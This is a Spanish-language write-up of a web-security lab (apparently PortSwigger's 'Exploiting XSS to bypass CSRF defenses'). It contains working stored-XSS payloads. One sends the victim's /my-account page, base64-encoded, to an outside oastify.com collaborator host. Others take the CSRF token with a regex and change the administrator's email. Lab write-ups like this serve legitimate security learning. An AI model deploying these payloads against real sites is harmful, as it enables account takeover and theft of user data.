Skip to content

Exploiting XSS to bypass CSRF defenses

[20260330160243.png]

LAB

[20260330161334.png]

En este laboratorio, vemos que tenemos valores true en HtppOnly y en Secure por lo que no podremos exfiltrar la cookiede usuario.

[20260330161313.png]

Por ello se nos solicita que enviamos en el código javascript el cambio de correo para el usuario administrador. Para ello primero debemos obtener el csrf

[20260330161606.png]

[20260330161528.png]

Por ello insertamos el javascript en el comentario para luego esperar en nuestro servidor

c
<script>
var req = new XMLHttpRequest();
req.open('GET','/my-account',false);
req.send();

var response=req.responseText;
var req2 = new XMLHttpRequest();
req2.open('GET', "https://v40mi4r1rpzipcs4ovc95bzxdojf7dv2.oastify.com?reponse=" + btoa(response));
req2.send();
</script>

[20260330164237.png]

[20260330164306.png]

Vemos que tenemos la respuesta de nuestra solicitud a /my-account en base64 y al decodificarlo, tenemos que el usuario es el administrator

[20260330164608.png]

Lo que se solicita es que se le cambie el correo al usuario administrator, para ello se necesita el valro de csrf el que podemos obtener con algna regex.

[20260330164840.png]

c
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = response.match(/name="csrf" value="(.*?)"/)[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var data = "email=" + encodeURIComponent("hackerpwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>

Del código javascript anterior vemos usando regex y agregando otra solicitud insertamos el nuevo correo como el valor del csrf, con el fin de al momento de que el usuario administrador visite la web este realice la solicitud de manera automática.

[20260330165413.png]

[20260330165424.png]

Otra manera de estructurar, lo podemos hacer de la siguiente manera.

c
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>